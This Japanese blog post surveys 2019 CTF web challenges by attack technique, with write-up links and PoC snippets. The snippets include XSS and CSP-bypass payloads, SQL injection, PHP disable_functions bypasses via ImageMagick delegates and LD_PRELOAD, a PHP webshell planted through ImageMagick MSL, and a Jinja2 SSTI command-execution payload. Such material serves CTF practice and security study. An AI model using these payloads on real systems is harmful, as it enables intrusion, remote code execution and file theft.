【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む)
CTF Advent Calendar 2019 - Adventarの25日目の記事です。
1つ前は@ptr-yudai氏の2019年のpwn問を全部解くチャレンジ【後半戦】 - CTFするぞでした。
- はじめに
- Cross-Site Scripting(XSS)
- Cross-Site Request Forgeries(CSRF)
- CSS Injection
- SQL Injection
- Remote Code Execution(RCE)
- open_basedirをバイパスしてディレクトリリスティング
- open_basedirをバイパスしてファイル読み込み
- ImageMagickのdelegate.xmlを使用したdisable_functionのバイパス
- PHP-FPMのUNIXドメインソケットファイルを使用したdisable_functionsのバイパス
- LD_PRELOADを使用したdisable_functionsのバイパス
- MySQL Client Attack
- MySQL Client Attack Chain
- ImageMagickのMagnificent Shell Landing(MSL)を利用したWebShell配置
- timing attackによる情報リーク
- Server-Side Template Injection(SSTI)
- Server-Side Includes (SSI) Injection
- Server-Side Request Forgery(SSRF)
- XML External Entity(XXE)
- Directory Traversal
- Cache Poisoning
- Insecure Deserialization
- Regular expression Denial of Service(ReDoS)
- Side Channel Attack
- polyglot
- 言語仕様系
- 文字入力チェックのバイパス
- Tools
- ユニークな問題
- 最後に
はじめに
昨年に引き続き、今年も2019年のCTFイベントで出題されたWeb問題のwriteupを全部読んで、 新しく知った攻撃手法や特徴的な問題をピックアップして紹介します。
昨年の記事はこちらです。
graneed.hatenablog.com
対象イベント
対象のイベントの条件は以下のとおりです。
- 2019年1月1日~12月24日(本記事の執筆時点)までに開催されたイベントであること。
- Online開催であること。
- Jeopardy形式であること。
- Web問題であること。
昨年はCTFTimeに登録されているwriteupのみを対象にしていましたが、今年はそのほかにも[CTF writeup イベント名 問題名]をキーワードにgoogle検索してwriteupを探しました。
問題数
確認できたWeb問題数は419問、その中でwriteupがあるWeb問題数は372問 (全Web問題数の88.8%)でした。
なお、昨年はSQLiやXSSといった脆弱性タイプの出現数をカウントしてランク付けを行いましたが、労力がかかった割には有益では無かったため、今年は割愛し、その代わりに具体的な攻撃手法の紹介を増やしました。
読み方、使い方
量が膨大ですが、 大まかに攻撃手法ごとに分類していますので、好きなところから読み始めて頂ければと思います。 また、CTFで詰まった時に攻撃の取っ掛かりを探すために参照頂いたり、Webアプリケーションの脆弱性診断やバグバウンティでも活用できる部分があるかと思います。
それぞれ簡単に解説やPoCの結果を記載していますが、writeupのリンクも付けていますので、更に具体的な手法やコードを確認したい場合はそちらを参照ください。
では、さっそく本題にいきます。
Cross-Site Scripting(XSS)
SVGファイルを利用したCSPバイパス
CSPの設定で自ドメインのスクリプトしか実行できないが、画像ファイルのアップロードが可能な場合に、XSSを行う手法です。
SVGファイルはXML形式、つまりHTMLと同じくタグ記法のファイル形式であるため、scriptタグで任意のJavaScriptを埋め込み可能です。
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg ...> <script> alert(1); </script> </svg>
- writeup
- CONFidence CTF 2019 Teaser - Web 50
https://balsn.tw/ctf_writeup/20190317-confidencectf/#solution-1:-xss-in-svg-image - CTFZone 2019 Quals - Shop
https://blog.blackfan.ru/2019/12/ctfzone-2019-shop.html
- CONFidence CTF 2019 Teaser - Web 50
GoogleドメインのJSONPを利用したCSPバイパス
CSPの設定でGoogleのドメインが許可されている場合に、XSSを行う手法です。
Googleドメイン上に、JSONPを返すコンテンツがあるため、それを使用して任意のcallback関数を呼んでもらいます。
root@kali:~# curl https://www.google.com/jsapi?callback=alert if(!window['googleLT_']){window['googleLT_']=(new Date()).getTime();}if (!window['google']) { window['google'] = {}; } (snip) {":1":"1.6.1",":1.1":"1.1.1",":1.2":"1.2.3",":1.3":"1.3.2",":1.4":"1.4.3",":1.5":"1.5.1",":1.6":"1.6.1",":1.7":"1.7.2"}}}); } alert(); root@kali:~# curl "https://accounts.google.com/o/oauth2/revoke?callback=alert()" // API callback alert()({ "error": { "code": 400, "message": "Invalid JSONP callback name: 'alert()'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.", "status": "INVALID_ARGUMENT" } } );
こういうことですね。
- writeup
- INS'hAck 2019 - bypasses-everywhere
https://github.com/InsecurityAsso/inshack-2019/blob/master/bypasses-everywhere/writeup.md - CSAW CTF Qualification Round 2019 - babycsp
https://github.com/jacopotediosi/Writeups/tree/master/CTF/CSAW-Quals-2019/Web/BabyCSP-50
- INS'hAck 2019 - bypasses-everywhere
サブリソース完全性(SRI)機能を利用した入力チェックバイパス
Chrome77から実装された、<link rel="preload">
使用時のサブリソース完全性機能を悪用し、わざとチェックを失敗させることで、
画面ロード時のスクリプトの処理順序を変更させて、入力チェックをバイパスする手法です。
- writeup
- Pwn2Win CTF 2019 - Calc
https://github.com/lbherrera/writeups/tree/master/pwn2win-2019/calc
- Pwn2Win CTF 2019 - Calc
Chrome拡張機能のパスワードマネージャーKeePassの悪用
パスワードマネージャーKeePassが自動で入力補完したクレデンシャル情報を窃取する手法です。 これは問題のアイデアに感心しました。
- writeup
HTML likeコメントを使用したコメントアウト
<
記号と/
記号がフィルタされている場合に、ブラウザの後方互換性向けの仕様であるHTML likeコメントを使用したコメントアウトにより、JavaScriptの構文エラーを発生させない手法です。
https://jsprimer.net/basic/comments/#html-like-comment から例を抜粋させて頂きます。
<!-- この行はコメントと認識される console.log("この行はJavaScriptのコードとして実行される"); --> この行もコメントと認識される
1行目はわかりますが、3行目の>
から先もコメントアウトと認識されるのが意外でした。
仕様は以下のリンク先を参照してください。
https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-HTMLCloseComment
- writeup
- HITCON CTF 2019 Quals - Bounty Pl33z
https://r3kapig.com/writeup/20191018-hitcon-quals/#bounty-pl33z-%5B255pts%5D
- HITCON CTF 2019 Quals - Bounty Pl33z
jQuery.getJSONのJSONP機能を使用したスクリプト実行
URLにcallback=?
を付与すると、jQuery.getJSON
でロードするコンテンツをJSONPとして解釈するという仕様を使い、任意のスクリプトを実行する手法です。
仕様は以下のリンク先を参照してください。
https://api.jquery.com/jQuery.getJSON/
- writeup
- SECCON 2019 Online CTF - SPA
https://blog.nhiroki.net/2019/10/20/seccon-2019-qual-write-up
- SECCON 2019 Online CTF - SPA
DOM Clobberingによるコードハイジャック
DOM Clobberingを利用した手法ですが、まだ解説できるほど理解できていないため、writeupのみの紹介です。
以下のつばめ氏のDOM Clobberingの解説記事および参考資料に目を通して基礎を理解してから読みたいと思います。
https://diary.shift-js.info/dom-clobbering/
- writeup
- Google Capture The Flag 2019 (Quals) - pastetastic
https://github.com/koczkatamas/gctf19/tree/master/pastetastic
- Google Capture The Flag 2019 (Quals) - pastetastic
Service Workerを利用したスクリプト実行
昨年の記事でもService Workerを使用した手法を紹介しましたが、今年も何問か出題されています。 まだ私自身が使いこなせていないため、練習しておいてスッと使えるようになりたいですね。
- writeup
- TJCTF 2019 - Spirit
https://ctftime.org/writeup/14553 - RCTF 2019 - jail
https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/jail%20%26%20password#jail
- TJCTF 2019 - Spirit
XSS Auditor機能のバイパス
Chrome 78から削除されたXSS Auditor機能をバイパスする手法です。
残念ながら、今後同じような問題が出ることは無さそうですが、もしも機能が復活したときに備えて紹介します。
- writeup
- Real World CTF 2019 Quals - hCorem
https://ctftime.org/writeup/16642
- Real World CTF 2019 Quals - hCorem
Cross-Site Request Forgeries(CSRF)
HTML5のping属性によるPOSTリクエスト発行
この問題で初めて知ったのですが、HTML5のaタグにping
属性があります。
リンク先に遷移するタイミングで、指定したURLにPOSTリクエストを投げることが可能です。
POSTリクエストかどうかのチェックをバイパスしています。
仕様は以下のリンク先を参照してください。
https://developer.mozilla.org/ja/docs/Web/HTML/Element/a
ちなみにping
属性の設定先に送信されるデータを確認してみました。
192.168.1.6のWebページからexample.comにリンクを張り、pingの送り先はrequest.binに設定しました。
Bodyに色々情報が入っていると思いきや「PING」だけですね。
- writeup
- ångstromCTF 2019 - GiantURL
https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#gianturl
- ångstromCTF 2019 - GiantURL
CSS Injection
Sequential Import Chaining
昨年は、Google CTFやSECCONなど、複数の大会でCSS Injectionを利用する問題が出題されました。
単純なCSS Injectionは、1回のアクセスで1文字しか特定できないため、 アクセスするたびにtokenが変わるケースや、アクセス数に制約があると成立しません。 そこで、@importを使用して再帰的にCSSをimportさせることで、1回のアクセスで複数文字を窃取する手法があります。
手法の解説は以下の記事が参考になります。
https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
ツールも公開されています。
https://github.com/d0nutptr/sic
また、今年のAVTokyoではmage氏が応用手法を発表されていました。
http://ja.avtokyo.org/avtokyo2019/speakers#mage
ツールも公開されています。
https://github.com/m---/onsen
- writeup
- TSG CTF - BADNONCE Part 2
https://st98.github.io/diary/posts/2019-05-05-tsg-ctf.html#badnonce-part-2-250
- TSG CTF - BADNONCE Part 2
SQL Injection
Error-Based SQL Injection
~(False)
がbigint(unsigned)
の最大値になるため、+1
するとエラーになります。よって、括弧の中にBooleanを返すselect文をセットしてError-Based SQL Injectionができます。
mysql> select * from user where user=''-(~(select 1=1)+1); Empty set, 5 warnings (0.00 sec) mysql> select * from user where user=''-(~(select 1=2)+1); ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((1 = 2)) + 1)'
- writeup
- InCTF 2019 - GoSQLv2
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/ Trick-3
- InCTF 2019 - GoSQLv2
GBKマルチバイト文字を使用した'記号のエスケープのバイパス
'
記号の入力チェックがされている場合に、マルチバイト文字を使用してバイパスする手法です。
%bf%27
をaddslashes
関数に渡すと、%27
('
記号)をエスケープするために%5c
(\
記号)を付けます。
すると、%bf%5c%27
になりますが、%bf%5c
が中国の文字コードであるGBKにある2バイト文字として解釈されます。
後ろの%27
('
記号)がそのまま残るため、SQL Injectionに使用できるという手法です。
手法の解説は以下の記事が参考になります。
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html
- writeup
- Reply Cyber Security Challenge - Mission Control
https://medium.com/@noobintheshell/replyctf2019-writeups-6d57f4d770dd#3fab
- Reply Cyber Security Challenge - Mission Control
Remote Code Execution(RCE)
open_basedirをバイパスしてディレクトリリスティング
RCEができてから、phpのopen_basedir
またはdisable_functions
により、FLAGが読めない/シェルが取れないよう制限されている問題が多数ありました。
その制限をバイパスする手法をいくつか紹介します。
open_basedir
の制限がかかっている場合に、globを使用してディレクトリとファイル名をリスティングする手法です。
root@kali:/tmp# grep -e ^open_basedir ./php_open_basedir.ini open_basedir = /tmp root@kali:/tmp# php -a -c ./php_open_basedir.ini Interactive mode enabled php > $it = new DirectoryIterator("glob:///var/*"); PHP Warning: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/var/*) is not within the allowed path(s): (/tmp) in php shell code:1 Stack trace: #0 php shell code(1): DirectoryIterator->__construct('glob:///var/*') #1 {main} thrown in php shell code on line 1 php > $it = new DirectoryIterator("glob:///va?/*"); php > foreach($it as $f){echo "{$f}\n";} backups cache lib local lock log mail opt run spool tmp www
- writeup
- 0CTF/TCTF 2019 Quals - Wallbreaker Easy
https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#solution-1:-bypass-open_basedir - InCTF 2019 - GoSQLv2
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/ Trick-5
- 0CTF/TCTF 2019 Quals - Wallbreaker Easy
open_basedirをバイパスしてファイル読み込み
上述の手法はリスティングまででしたが、ファイル内容の読み取りもできる手法です。
- writeup
- 0CTF/TCTF 2019 Quals - Wallbreaker Easy
https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#solution-1:-bypass-open_basedir
- 0CTF/TCTF 2019 Quals - Wallbreaker Easy
ImageMagickのdelegate.xmlを使用したdisable_functionのバイパス
disable_functions
でOSコマンド実行系の関数を抑止されている場合に、
任意のOSコマンド実行を設定したImageMagickのdelegate.xmlファイルを作成してから、
ImageMagickのインスタンスを生成することで、任意のOSコマンド実行をする手法です。
root@kali:/tmp# grep -e ^disable_function ./php_disable_function.ini disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec root@kali:/tmp# php -a -c ./php_disable_function.ini Interactive mode enabled php > system("id"); PHP Warning: system() has been disabled for security reasons in php shell code on line 1 php > file_put_contents("delegates.xml","<delegatemap>\n<delegate decode=\"hoge\" command=\"id\"/>\n</delegatemap>"); php > file_put_contents("a.hoge","1234"); php > putenv('MAGICK_CONFIGURE_PATH=./'); php > $img = new Imagick('/tmp/a.hoge'); uid=0(root) gid=0(root) groups=0(root) PHP Warning: Uncaught ImagickException: unable to open image `/tmp/magick-985377-UH__aWNsvfz': No such file or directory @ error/blob.c/OpenBlob/2874 in php shell code:1 Stack trace: #0 php shell code(1): Imagick->__construct('/tmp/a.hoge') #1 {main} thrown in php shell code on line 1
- writeup
- BSides Delhi CTF 2019 - eval-me
https://balsn.tw/ctf_writeup/20190928-bsidesdelhictf/#eval-me
- BSides Delhi CTF 2019 - eval-me
PHP-FPMのUNIXドメインソケットファイルを使用したdisable_functionsのバイパス
disable_functions
でOSコマンド実行系の関数を抑止されている場合に、
UNIXドメインソケットファイルを経由して任意のOSコマンド実行をする手法です。
2つのwriteupともに、ソケットファイルに書き込むデータはGopherusで生成したペイロードを利用しているようです。
https://github.com/tarunkant/Gopherus
- writeup
- InCTF 2019 - GoSQLv2
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/ Trick-5 - *CTF 2019 - Echohub
https://github.com/CTFTraining/starctf_2019_echohub/blob/master/writeup.md
- InCTF 2019 - GoSQLv2
LD_PRELOADを使用したdisable_functionsのバイパス
disable_functions
でOSコマンド実行系の関数を抑止されているが、ファイルのアップロードが可能かつputenv
関数で環境変数を設定可能な場合に、
LD_PRELOAD
環境変数を上書きしてsoファイルをロードさせて、任意のOSコマンド実行をする手法です。
root@kali:~/CTF/Lab# cat exploit.c #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> uid_t getuid(void){ unsetenv("LD_PRELOAD"); system("id"); return 1; } root@kali:~/CTF/Lab# gcc -shared exploit.c -o exploit.so root@kali:~/CTF/Lab# php -a -c ./php_disable_function.ini Interactive mode enabled php > putenv('LD_PRELOAD=./exploit.so'); php > mail('a','a','a','a'); uid=0(root) gid=0(root) groups=0(root)
手法の解説は以下の記事が参考になります。
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/
ツールもあります。
https://github.com/TarlogicSecurity/Chankro/
多くの問題で使用されています。非想定の解法としても使用されており、使いこなしたい手法の一つです。
- writeup
- Insomni'hack teaser 2019 - l33t-hoster
http://corb3nik.github.io/blog/insomnihack-teaser-2019/l33t-hoster - 0CTF/TCTF 2019 Quals - Wallbreaker Easy
https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#solution-2:-bypass-disable_function-with-ld_preload - InCTF 2019 - Copy-Cat
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/ (Unintended Step for the same stage)
- Insomni'hack teaser 2019 - l33t-hoster
MySQL Client Attack
MySQLの接続時に、MySQLサーバからクライアントにファイル読み取り要求を返すことで、クライアントのファイルを窃取することが可能な脆弱性がありました。 そこで、別の脆弱性を使用して、ターゲットサーバのWebアプリケーション(MySQLクライアント)の接続先を自分のMySQLサーバに向けさせて、FLAGファイルの読み取り要求を返すことで、FLAGファイルを窃取する手法です。 なお、MySQLクライアントの最新版では既に修正されています。
ツール化もされています。
https://github.com/lcark/MysqlClientAttack
- writeup
- HITCON CTF 2019 Quals - GoGo PowerSQL
https://github.com/orangetw/My-CTF-Web-Challenges#gogo-powersql
- HITCON CTF 2019 Quals - GoGo PowerSQL
MySQL Client Attack Chain
MySQL Client Atttackの応用編で、あらかじめ別の方法でpharファイルをターゲットサーバに配備してから、phar:///tmp/filename.phar
の形式でpharファイル読み取り要求を返すことで、ターゲットサーバ内でpharファイルのunserializeが走り、pharファイル内に仕込んだコードを実行させる手法です。
- writeup
- N1CTF 2019 - sql_manage
https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/sql_manage/EN_writeup.md
- N1CTF 2019 - sql_manage
ImageMagickのMagnificent Shell Landing(MSL)を利用したWebShell配置
ImageMagickがサポートしているMSLという形式のファイルにconvert機能をかけると、画像ファイルのコピーができます。
別途、WebShellのコードを埋め込んだ画像ファイルを用意しておくことで、 WebサーバにWebShellを配置することができます。
root@kali:/var/www/html/upload# ll total 88 -rw-r--r-- 1 root root 270 Dec 29 09:35 exploit1.svg -rw-r--r-- 1 root root 163 Dec 29 09:36 exploit2.svg -rw-r--r-- 1 root root 80461 Dec 29 09:34 shell.png root@kali:/var/www/html/upload# cat exploit1.svg <?xml version="1.0" encoding="UTF-8" ?> <!-- <svg> --> <image> <read filename="/var/www/html/upload/shell.png" /> <write filename="/var/www/html/shell.php" /> <svg width="120px" height="120px"> <image href="/var/www/html/upload/shell.png" /> </svg> </image> root@kali:/var/www/html/upload# cat exploit2.svg <?xml version="1.0" encoding="UTF-8"?> <svg width="120px" height="120px"> <image width="120" height="120" href="msl:/var/www/html/upload/exploit1.svg" /> </svg> root@kali:/var/www/html/upload# strings shell.png | grep cmd <?php system($_GET["cmd"]); ?> root@kali:/var/www/html/upload# convert exploit2.svg -thumbnail Aborted root@kali:/var/www/html/upload# strings /var/www/html/shell.php | grep cmd <?php system($_GET["cmd"]); ?> root@kali:/var/www/html/upload# curl localhost/shell.php?cmd=id --output - (snip) id=33(www-data) gid=33(www-data) groups=33(www-data) %tEXtdate:create2019-12-29T09:46:49+09:00/%tEXtdate:modify2019-12-29T09:46:49+09:00S IENDB`
- writeup
- Google Capture The Flag 2019 (Quals) - gphotos
https://blog.bushwhackers.ru/googlectf-2019-gphotos-writeup/
- Google Capture The Flag 2019 (Quals) - gphotos
timing attackによる情報リーク
任意のコードが実行できるが、その結果を直接得られない場合に、
Blind SQL Injectionのように、sleep
関数を使用してFLAGファイルを1文字ずつ特定する手法です。
__import__('time').sleep(3) if ord(open('/flag').read()[3]) > 67 else None
- writeup
- RCTF 2019 - calcalcalc
https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/1.md#part-2
- RCTF 2019 - calcalcalc
Server-Side Template Injection(SSTI)
プロパティの自動探索
SSTIの脆弱性を見つけてから、目的のプロパティにアクセスするまでの道のりが険しい場合があります。
そのようなときに使用可能なスクリプトが、昨年のTokyoWesterns CTF 4th 2018のShrineのwriteupで公開されていました。
https://ctftime.org/writeup/10851
このスクリプトを使用して解くwriteupがありました。
- writeup
- ångstromCTF 2019 - Madlibbin
https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#madlibbin
- ångstromCTF 2019 - Madlibbin
evalの自動探索
SSTIの脆弱性を使用して、OSコマンド実行するためのペイロードは数多く公開されていますが、
__subclasses__()
が返すリストの順序が環境によって違っていたりと、環境に合わせたチューニングが面倒な場合があります。
https://github.com/w181496/Web-CTF-Cheatsheet#flaskjinja2に、自動でeval関数を探して実行するペイロード例がありました。
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
- writeup
flaskのセッションデコード/エンコード
flask環境でSSTIが成功してSECRET_KEY
を窃取した後、セッションを改ざんする場合に、flaskセッションのデコード/エンコードが必要になります。
[flask session decode]等のキーワードでgoogle検索するとツールは多数ありますが、強豪チームのBalsnがflask-unsign
というツールを使用していました。
https://github.com/Paradoxis/Flask-Unsign
SECRET_KEY
のブルートフォースに対応したツールは珍しかったので紹介です。
以下のwriteupではキチンとSECRET_KEY
を特定していますが、クソ問guessingが必要な問題が出題された場合に使用できるかもしれません。
- writeup
- Facebook CTF 2019 - events
https://balsn.tw/ctf_writeup/20190603-facebookctf/#events
- Facebook CTF 2019 - events
フィルターのバイパス
昨年、SSTIの脆弱性があって、フィルター機能をバイパスする問題が多数出題されていました。 今年も何問かありましたが、以下のような結構強めのフィルタをバイパスする問題があったので紹介します。
blacklist = ["config", "self", "request", "[", "]", '"', "_", "+", " ", "join", "%", "%25"]
以下の記事で、バイパス手法がまとまっています。
https://0day.work/jinja2-template-injection-filter-bypasses/
- writeup
- X-MAS CTF 2019 - Mercenary Hat Factory
https://medium.com/@m.slamat_25204/x-mas-2019-ctf-write-up-mercenary-hat-factory-ssti-53e82d58829e
- X-MAS CTF 2019 - Mercenary Hat Factory
Server-Side Includes (SSI) Injection
この問題で初めて知ったのですが、Server-Side Includesを使用して、サーバ内のファイルを窃取する手法です。
https://en.wikipedia.org/wiki/Server_Side_Includes
Apache HTTP Serverでは、拡張子を.shtml
にするか、SSIを許可する設定が必要となるため、使用できるシーンは中々なさそうですが、ワンチャンあるかもしれないので覚えておくとよさそうです。
- writeup
- Hack.lu CTF 2019 - TreesForFuture
https://github.com/lavish/ctf-writeups/tree/master/hacklu2019-TreesForFuture
- Hack.lu CTF 2019 - TreesForFuture
Server-Side Request Forgery(SSRF)
RedisにHTTPでアクセス
SSRFの脆弱性を発見後、ネットワーク内部でRedisのポート(6379)が開いている場合に、HTTPリクエストを使用してRedisから情報を窃取する手法です。
手法の解説は以下の記事が参考になります。
https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
- writeup
- RedpwnCTF 2019 - red-pwn-is
https://github.com/r00tstici/writeups/blob/master/redpwnCTF/red-pwn-is/writeup.md - CTFZone 2019 Quals - Zirconium
https://ctftime.org/task/9923
- RedpwnCTF 2019 - red-pwn-is
gopherでtomcatの管理コンソールからWebShellをデプロイ
SSRFの脆弱性を発見後、tomcatの管理コンソールにアクセス可能、且つWARファイルのデプロイが可能な場合に、HTTPリクエストを使用してWebShellをデプロイする手法です。SSRFでおなじみのgopherを使用します。
自分で頑張ることもできますが、専用のツールが公開されています。
https://github.com/pimps/gopher-tomcat-deployer
- writeup
- CTFZone 2019 Quals - Catcontrol
https://ctftime.org/task/9924
- CTFZone 2019 Quals - Catcontrol
WebRTC APIを使用してSTUNプロトコルでアクセス
最近のWebブラウザがサポートしているWebRTC APIを使用して、ネットワーク内部のポートにアクセスさせる手法です。
この問題は、インターネットからアクセス可能なWebサーバにURLを送ると、Headless ChromeがURLにアクセスしてくれます。 また、内部ネットワーク(インターネットから直接アクセスできないネットワーク)に、 6666番ポートでサービスが公開されていて、受信データをそのままOSコマンドとして実行してくれます。
6666番ポートにGETやPOSTでOSコマンドを送るJavaScriptを用意して、Headless Chromeにアクセスしてもらえば良さそうですが、 Chromeでは、HTTPでアクセス可能なポート番号に制限をかけているようです。
以下のリンク先を参照ください。この仕様は知らなかったです。
https://superuser.com/questions/188058/which-ports-are-considered-unsafe-by-chrome/188070#188070
そこで、HTTPではなく、WebRTC APIを使用してSTUNプロトコルでアクセスさせることで制限をバイパスしています。
- writeup
- Balsn CTF 2019 - RCE Auditor
https://github.com/BookGin/my-ctf-challenges/tree/master/balsn-ctf-2019/rce-auditor
- Balsn CTF 2019 - RCE Auditor
XML External Entity(XXE)
Out-of-band XML External Entity (OOB-XXE)
XXEの脆弱性があるが、レスポンスに処理結果が返ってこない場合に、ターゲットから自分が管理するサーバに情報を送信させる使用する手法です。
手法の解説は以下の記事が参考になります。
https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/
ツールが公開されています。
https://github.com/lc/230-OOB
- writeup
- CTFZone 2019 Quals - Catcontrol
https://ctftime.org/task/9924
- CTFZone 2019 Quals - Catcontrol
サブドメインを使用した情報リーク
上記のOOB-XXEの応用編で、DNS以外のアウトバウンドへの通信が塞がれている場合に、 昨今のマルウェアやウィルス対策ソフトのように、DNSのサブドメインを使用してリークさせる方法です。
- writeup
- Pwn2Win CTF 2019 - Baby Recruiter
https://graneed.hatenablog.com/entry/2019/11/11/081011
- Pwn2Win CTF 2019 - Baby Recruiter
SVGファイルのアップロードによるXXE
XML形式であるSVGファイルを使用してXXEを行う手法です。
サーバでloadXML
関数を使用してSVGファイルを読み込んでいる場合、XXEが発動します。
XSSでもSVGファイルを使用してCSPをバイパスする手法を紹介しましたが、SVGファイルを活用するシーンが多そうです。
- writeup
- Midnight Sun CTF 2019 Quals - Rubenscube
https://jbz.team/midnightsunctfquals2019/Rubenscube - BSidesSF 2019 CTF - svgmagic
https://www.rootnetsec.com/bsidessf-svgmagick/
- Midnight Sun CTF 2019 Quals - Rubenscube
Directory Traversal
nginxの設定不備
nginxの設定にミスがあると、http://example.com/hoge/fuga../
のような形で、1つ上の階層のファイルを参照できます。
以下のno1zy氏の記事が参考になります。
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb
- writeup
- INS'hAck 2019 - unchained
https://github.com/InsecurityAsso/inshack-2019/blob/master/unchained/writeup.md
- INS'hAck 2019 - unchained
Elasticsearch
その名のとおり、Elasticsearchに対する攻撃手法です。 EndpointにElasticsearchのAPIがいて、入力文字列がAPIのパスとしてセットされる場合に、パスを遡って他のインデックスも見ることができます。(当たり前といえば当たり前)
- writeup
- ASIS CTF Quals 2019 - Dead engine
https://abcdsh.blogspot.com/2019/04/writeup-asis-2019-quals-dead-engine.html
- ASIS CTF Quals 2019 - Dead engine
Cache Poisoning
HTTP/0.9のレスポンスをプロキシサーバにキャッシュ
HTTP/0.9でプロキシサーバ経由でページにアクセスし、 プロキシサーバにそのレスポンスデータをキャッシュさせることで、 任意のHTTPレスポンスヘッダーを持つページをターゲットに表示させる手法です。
HTTP/0.9ではHTTPステータスコードやHTTPレスポンスヘッダーを返さない挙動を利用しています。
- writeup
- PlaidCTF 2019 - Potent Quotables
https://blog.pspaul.de/posts/plaidctf-2019-potent-quotables/
- PlaidCTF 2019 - Potent Quotables
拡張子偽装による動的ページのキャッシュ
http://example.com/index.php/hoge
のようなパスでもindex.php
が動くような場合に、URLの最後を.cssのような静的ファイルの拡張子にしてアクセスすることで、攻撃者が表示したindex.php
をキャッシュの対象にし、その後、キャッシュをターゲットに表示させる手法です。
writeupでは、nonceによるCSPのチェックをパスするために使用しています。
index.php
がCSPでnonceを使用している場合に、http://example.com/index.php/hoge.css
のようなアクセスをすると、そのレスポンスでnonceが手に入り、同時にキャッシュに積まれます。そのキャッシュのnonceは攻撃者にとって既知となるため、adminにキャッシュを踏ませることで、XSS攻撃にnonceを使用できます。
- writeup
- Hack.lu CTF 2019 - Numtonce
https://github.com/LetzPwn/ctf-writeups/blob/master/hack_lu_2019/Numtonce/README.md
- Hack.lu CTF 2019 - Numtonce
Insecure Deserialization
PHP Generic Gadget Chains
昨年も紹介したPHPGGCですが、今年も使用する問題が出題されています。
PHPGGCは、unserializeに渡すと任意のコードを実行できるペイロードを生成できるツールです。 簡単に言うと、JavaのysoserialのPHP版です。
手法の解説は以下の記事が参考になります。
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
ツールはこちらです。
https://github.com/ambionics/phpggc
PHPGGCは頻繁に更新されており、例えば以下のWeb 100の問題も、出題直前に更新されたガジェットにより簡単に解けるようになってしまったため、
急遽、難易度を上げるためにブラックリストによるフィルタ処理を追加したようです。
なお、ブラックリストは、ペイロードの中身を system
をsyst\65m
のように変換することでバイパスできたようです。
- writeup
Foreign Function Interface(FFI)を使用したC関数の呼出し
PHP7.4の新仕様であるFFIを使用すると、PHPからCの関数を呼び出しできます。 この問題では、Insecure Deserializationでsystem関数を呼ぶように上書きした上で、任意のOSコマンドを実行する手法でした。
- writeup
- RCTF 2019 - nextphp
https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/nextphp
- RCTF 2019 - nextphp
Regular expression Denial of Service(ReDoS)
ReDoSを使用した強制プロセス再起動
正規表現による評価処理の時間が指数関数的にかかるようなデータを送ることで、処理を遅延させたり、プロセスを落としたりする手法です。 ReDoSという手法は、この問題で初めて知りました。
手法の解説はWikipediaにお任せします。
https://en.wikipedia.org/wiki/ReDoS
オンラインで正規表現を試すことが可能なサービスがあるので試してみます。
https://regex101.com/
右上のstepsに注目してください。
このサービスでは一定時間がかかると途中で中断されますが、指数関数的に処理量が増大していることがわかります。
- writeup
- Balsn CTF 2019 - Images and Words
https://github.com/BookGin/my-ctf-challenges/tree/master/balsn-ctf-2019/images-and-words
- Balsn CTF 2019 - Images and Words
バックトラック処理の制限を利用したPCREチェックのバイパス
ReDoSを防ぐために、PHPではpcre.backtrack_limit
でバックトラック処理の数に制限を設けています。
preg_match
関数の返り値の説明を見てみます。
https://www.php.net/manual/ja/function.preg-match.php
なるほど。
例えば、以下のような実装をしているとします。
if(preg_match('/SELECT.+FROM.+/is', $input)) { die('Error'); }
SELECT flag FROM /*aaaaaaaaaaaaaa*/ flag
のようなSQLで、aの部分を1文字増やすと1step増えます。
このstep数がpcre.backtrack_limit
の制限にかかると、preg_match
関数はFALSE
を返却するため、if文の条件に合致せずにチェックをバイパスできます。
手法の解説は以下の記事が参考になります。
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
- writeup
- N1CTF 2019 - sql_manage
https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/sql_manage/EN_writeup.md
- N1CTF 2019 - sql_manage
Side Channel Attack
AV Oracle
Windows Defenderには、ファイル内のJavaScriptコード部分を内部エンジンで実行した上で悪性かどうかを判断する機能があり、 その機能を利用してマルウェア検知するかどうかを観察し、情報をリークする手法です。
